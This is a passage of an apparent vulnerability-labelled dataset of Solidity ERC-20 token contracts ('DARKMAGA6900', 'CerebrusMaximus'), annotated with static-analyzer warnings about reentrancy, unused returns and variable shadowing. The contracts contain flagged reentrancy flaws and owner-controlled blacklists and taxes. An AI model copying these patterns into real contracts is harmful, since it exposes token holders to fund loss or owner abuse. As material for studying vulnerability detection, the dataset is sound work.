amount);\n }\n\n if (!isFeeExempt[sender] && !isFeeExempt[recipient]) {\n require(TradingOpen, \"Trading not open yet\");\n }\n\n if (!swapEnabled) {\n return _basicTransfer(sender, recipient, amount);\n }\n\n if (isMIHARUUserBuy(sender, recipient)) {\n require(\n isTxLimitExempt[recipient] ||\n _balances[recipient] + amount <= _maxWalletAmount,\n \"Transfer amount exceeds the bag size.\"\n );\n\n increaseBuyCount(sender);\n }\n\n (takefee, actions) = isTakeMIHARUActions(sender, recipient);\n\n if (\n inSwapMIHARUTokens(takefee, actions, amount, _swapMIHARUThreshHold)\n ) {\n\t\t\t// reentrancy-events | ID: eb465ff\n\t\t\t// reentrancy-eth | ID: d07d9e4\n internalSwapBackEth(amount);\n }\n\n\t\t// reentrancy-events | ID: eb465ff\n\t\t// reentrancy-eth | ID: d07d9e4\n _transferTaxTokens(sender, recipient, amount, actions, takefee);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n if (_allowances[sender][msg.sender] != type(uint256).max) {\n _allowances[sender][msg.sender] = _allowances[sender][msg.sender]\n .sub(amount, \"Insufficient Allowance\");\n }\n\n return _transferStandardTokens(sender, recipient, amount);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n return _transferStandardTokens(msg.sender, recipient, amount);\n }\n\n function increaseBuyCount(address sender) internal {\n if (sender == pair) {\n _buyCounts++;\n }\n }\n\n function isTakeFees(address sender) internal view returns (bool) {\n return !isFeeExempt[sender];\n }\n}\n",
"file_name": "solidity_code_10730.sol",
"size_bytes": 23113,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract DARKMAGA6900 is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6d7a244): DARKMAGA6900._taxWallet should be immutable \n\t// Recommendation for 6d7a244: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: b9905b2): DARKMAGA6900._initialBuyTax should be constant \n\t// Recommendation for b9905b2: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: ebd80d8): DARKMAGA6900._initialSellTax should be constant \n\t// Recommendation for ebd80d8: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 28;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 81fcc73): DARKMAGA6900._reduceBuyTaxAt should be constant \n\t// Recommendation for 81fcc73: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 11;\n\n\t// WARNING Optimization Issue (constable-states | ID: b95e986): DARKMAGA6900._reduceSellTaxAt should be constant \n\t// Recommendation for b95e986: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 59c5e48): DARKMAGA6900._preventSwapBefore should be constant \n\t// Recommendation for 59c5e48: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"DARKMAGA 6900\"; //\n\n string private constant _symbol = unicode\"$DARKMAGA6900\"; //\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: b6c69dd): DARKMAGA6900._taxSwapThreshold should be constant \n\t// Recommendation for b6c69dd: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8f8ed88): DARKMAGA6900._maxTaxSwap should be constant \n\t// Recommendation for 8f8ed88: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x85B33d5AC6164Aa4eee870528f76dfeBAaD39b44);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b784cde): DARKMAGA6900.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for b784cde: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ee3df8a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ee3df8a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b1b10f4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b1b10f4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: ee3df8a\n\t\t// reentrancy-benign | ID: b1b10f4\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: ee3df8a\n\t\t// reentrancy-benign | ID: b1b10f4\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8c9c7bd): DARKMAGA6900._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8c9c7bd: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: b1b10f4\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: ee3df8a\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3bc21ce): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3bc21ce: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3f51257): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3f51257: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 3bc21ce\n\t\t\t\t// reentrancy-eth | ID: 3f51257\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 3bc21ce\n\t\t\t\t\t// reentrancy-eth | ID: 3f51257\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 3f51257\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 3f51257\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 3f51257\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 3bc21ce\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 3f51257\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 3f51257\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 3bc21ce\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 3bc21ce\n\t\t// reentrancy-events | ID: ee3df8a\n\t\t// reentrancy-benign | ID: b1b10f4\n\t\t// reentrancy-eth | ID: 3f51257\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 3bc21ce\n\t\t// reentrancy-events | ID: ee3df8a\n\t\t// reentrancy-eth | ID: 3f51257\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4035a75): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4035a75: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c495c1f): DARKMAGA6900.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for c495c1f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9a957eb): DARKMAGA6900.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 9a957eb: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8e5a1db): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8e5a1db: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 4035a75\n\t\t// reentrancy-eth | ID: 8e5a1db\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 4035a75\n\t\t// unused-return | ID: c495c1f\n\t\t// reentrancy-eth | ID: 8e5a1db\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 4035a75\n\t\t// unused-return | ID: 9a957eb\n\t\t// reentrancy-eth | ID: 8e5a1db\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 4035a75\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 8e5a1db\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10731.sol",
"size_bytes": 19973,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 13c48d2): CerebrusMaximus.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = (_tTotal * 5) / 10000 _maxTaxSwap = _taxSwapThreshold * 40\n// Recommendation for 13c48d2: Consider ordering multiplication before division.\ncontract CerebrusMaximus is Context, Ownable, IERC20 {\n using SafeMath for uint256;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 276c246): CerebrusMaximus._taxWallet should be immutable \n\t// Recommendation for 276c246: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 225dfbd): CerebrusMaximus._initialBuyTax should be constant \n\t// Recommendation for 225dfbd: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: c9ff12b): CerebrusMaximus._initialSellTax should be constant \n\t// Recommendation for c9ff12b: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: b181fe8): CerebrusMaximus._finalBuyTax should be constant \n\t// Recommendation for b181fe8: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 27671d4): CerebrusMaximus._finalSellTax should be constant \n\t// Recommendation for 27671d4: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: d0f1cc7): CerebrusMaximus._reduceBuyTaxAt should be constant \n\t// Recommendation for d0f1cc7: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 27;\n\n\t// WARNING Optimization Issue (constable-states | ID: 47a2e9f): CerebrusMaximus._reduceSellTaxAt should be constant \n\t// Recommendation for 47a2e9f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 24;\n\n\t// WARNING Optimization Issue (constable-states | ID: c666906): CerebrusMaximus._preventSwapBefore should be constant \n\t// Recommendation for c666906: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 27;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Cerebrus Maximus\";\n\n string private constant _symbol = unicode\"BRAIN\";\n\n uint256 public _maxTxAmount = (_tTotal * 2) / 100;\n\n uint256 public _maxWalletSize = (_tTotal * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4b56d6c): CerebrusMaximus._taxSwapThreshold should be constant \n\t// Recommendation for 4b56d6c: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 13c48d2\n uint256 public _taxSwapThreshold = (_tTotal * 5) / 10000;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2c77c74): CerebrusMaximus._maxTaxSwap should be immutable \n\t// Recommendation for 2c77c74: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n\t// divide-before-multiply | ID: 13c48d2\n uint256 public _maxTaxSwap = _taxSwapThreshold * 40;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool private limitsInEffect = true;\n\n uint256 private taxAmount;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ddcc9ce): CerebrusMaximus.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for ddcc9ce: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: fef9b51): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for fef9b51: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 94d847c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 94d847c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: fef9b51\n\t\t// reentrancy-benign | ID: 94d847c\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: fef9b51\n\t\t// reentrancy-benign | ID: 94d847c\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a5a8f37): CerebrusMaximus._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a5a8f37: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 94d847c\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: fef9b51\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 361cc45): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 361cc45: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 81c6d53): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 81c6d53: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 40a34f2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 40a34f2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (\n from != owner() &&\n to != owner() &&\n to != _taxWallet &&\n limitsInEffect\n ) {\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= 